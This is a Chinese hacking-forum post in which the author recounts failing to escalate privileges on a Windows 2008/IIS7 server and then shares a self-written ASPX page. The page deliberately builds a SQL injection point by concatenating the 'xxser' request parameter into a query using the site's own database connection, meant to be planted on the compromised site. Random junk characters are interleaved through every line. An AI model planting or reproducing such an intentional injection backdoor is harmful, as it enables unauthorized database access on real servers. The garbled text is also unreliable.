昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
9 |: X( [3 S( M3 }其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
" N4 }4 G" P; C8 L% }- D) Y代码量不多,自己写个拉倒了。烦死了。
0 w3 m& y* P8 @- o. A0 D- U! F5 Z B6 C- [
8 `/ h X* M& Z. I" T<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- r, M4 x/ _8 l0 h; |<html xmlns="http://www.w3.org/1999/xhtml">0 b2 q0 X; h. Q$ f3 a$ y
<head runat="server">
/ u P. G7 T! v2 Y4 u D <title>暗影aspx构造注射专用页面</title>
* v# i0 Y8 E9 q0 p</head>
% E1 B$ I' ]. l<body>% M8 O1 v9 P3 w8 }3 ?) P' t
<form id="form1" runat="server">
# V P' ^, i P- c: E <div>
$ V. e0 T6 d( W$ @* Y& c6 s <script language="c#" runat="server">
, X# b0 S1 N7 H
- z: i: v8 R/ l) x& Y void page_init(object sender, EventArgs e)
7 T: S! U: X8 h3 b' } {
% R! _6 d& i1 q3 E9 P0 {+ i - ~; u2 h8 g1 R- j
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();+ @# n4 C. O4 L7 H7 ~1 k" ]
8 e1 U& H u. J9 w9 t( r1 v$ i, F; W conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
- m: \0 k4 A% Y conn.Open();8 c7 h9 f, x6 `1 @6 o) p; O
0 C: L+ p7 L) Q! r( F string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1! m# q5 y: w/ u& W0 _
2 g& u9 \! {+ t* _ Q
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
5 i8 \- y4 ?" _ int x = command.ExecuteNonQuery();) Z" l/ ?- Z* x3 u% I, i1 O
Response.Write(i+"\n");; B! P5 l3 _" ~. J$ Y
Response.Write(x);
2 e' D, w, ] Q; Q2 z' } conn.Close();3 k' X$ S' I' b' H
}- }1 r* P. T; w5 H+ ~- X
% d! U7 x b B o( |" v9 K </script>: d% u7 q& D: A5 B
</div>
1 R* a( g1 F b# \ </form>
" L7 z& z5 S+ n% |+ _$ W</body>
8 ^, O; c; \/ u0 Q, G2 r' e</html>. d! p6 T' e5 P |* n
|